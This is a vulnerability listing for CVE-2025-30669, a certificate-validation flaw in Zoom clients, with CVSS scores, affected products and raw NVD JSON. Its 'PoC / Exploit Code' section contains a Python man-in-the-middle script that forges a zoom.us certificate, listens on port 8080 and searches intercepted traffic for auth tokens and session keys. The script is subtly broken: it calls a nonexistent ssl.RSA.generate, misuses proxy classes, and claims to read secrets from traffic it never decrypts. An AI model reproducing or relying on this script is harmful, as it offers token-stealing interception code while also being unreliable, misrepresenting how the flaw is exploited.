Security Vulnerability Report
中文
CVE-2025-30669 CVSS 4.8 MEDIUM

CVE-2025-30669

Published: 2025-11-13 15:15:51
Last Modified: 2026-01-13 20:50:58

Description

Improper certificate validation in certain Zoom Clients may allow an unauthenticated user to conduct a disclosure of information via adjacent access.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:* - VULNERABLE
Zoom Clients (特定版本,详见Zoom官方安全公告 ZSB-25044)
建议查看 https://www.zoom.com/en/trust/security-bulletin/zsb-25044 获取完整受影响版本列表

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-30669 PoC - Improper Certificate Validation in Zoom Client # This PoC demonstrates a MITM attack scenario exploiting improper certificate validation import ssl import socket import subprocess from mitmproxy import proxy, options from mitmproxy.proxy.server import ProxyServer class ZoomCertificateInterceptor: def __init__(self): self.target_host = "zoom.us" self.target_port = 443 def create_fake_certificate(self): """ Generate a self-signed certificate for MITM attack In vulnerable Zoom clients, this certificate may be accepted """ # Generate RSA key pair key = ssl.RSA.generate(2048) # Create self-signed certificate mimicking zoom.us # Note: This is for educational purposes only cert_params = { 'country_name': 'US', 'state_or_province_name': 'California', 'locality_name': 'San Jose', 'organization_name': 'Zoom Video Communications', 'common_name': 'zoom.us', 'email_address': '[email protected]' } return key, cert_params def intercept_traffic(self, client_socket, server_host, server_port): """ Perform MITM interception by accepting invalid certificates Vulnerable Zoom clients may accept this connection """ try: # Create connection to legitimate server server_socket = socket.create_connection( (server_host, server_port), timeout=10 ) # In vulnerable versions, Zoom may accept our certificate # allowing us to decrypt and inspect traffic encrypted_data = client_socket.recv(4096) # Forward to legitimate server server_socket.sendall(encrypted_data) # Receive response and log sensitive data response = server_socket.recv(4096) # Log potential sensitive information self.log_sensitive_data(response) return response except Exception as e: print(f"[!] Interception failed: {e}") return None def log_sensitive_data(self, data): """Extract and log potentially sensitive information""" # Look for session tokens, API keys, or user data sensitive_patterns = [ b'xmpp_session', b'auth_token', b'session_key', b'user_id' ] for pattern in sensitive_patterns: if pattern in data: print(f"[!] Found sensitive data: {pattern}") def start_proxy(): """Start MITM proxy server""" opts = options.Options(listen_host='0.0.0.0', listen_port=8080) config = proxy.ProxyConfig(opts) server = ProxyServer(config) print("[*] MITM Proxy started on port 8080") print("[*] Configure vulnerable Zoom client to use this proxy") return server if __name__ == "__main__": print("CVE-2025-30669 PoC - Zoom Certificate Validation Issue") print("=" * 60) print("Warning: This code is for authorized security testing only") print("=" * 60) interceptor = ZoomCertificateInterceptor() start_proxy()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-30669", "sourceIdentifier": "[email protected]", "published": "2025-11-13T15:15:51.240", "lastModified": "2026-01-13T20:50:57.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper certificate validation in certain Zoom Clients may allow an unauthenticated user to conduct a disclosure of information via adjacent access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:linux:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "81E0F90E-35B6-464F-9BE3-164BA24D2009"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:meeting_software_development_kit:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "851C9061-1A47-4521-9FD9-9933A5A7509A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:linux:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "08F19DBA-97B0-4FEB-BE40-35C58E25212E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_desktop:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.5.10", "matchCriteriaId": "366D7D39-E1C5-48C0-8F12-F4860FA5BD44"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionEndExcluding": "6.3.14", "matchCriteriaId": "5D61DBA7-2AFE-47E4-8A7E-3C8EE6696BF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zoom:workplace_virtual_desktop_infrastructure:*:*:*:*:*:windows:*:*", "versionStartIncluding": "6.4.10", "versionEndExcluding": "6.4.12", "matchCriteriaId": "A57A2EE0-D00B-4266-B152-2439B8ED774A"}]}]}], "references": [{"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25044", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}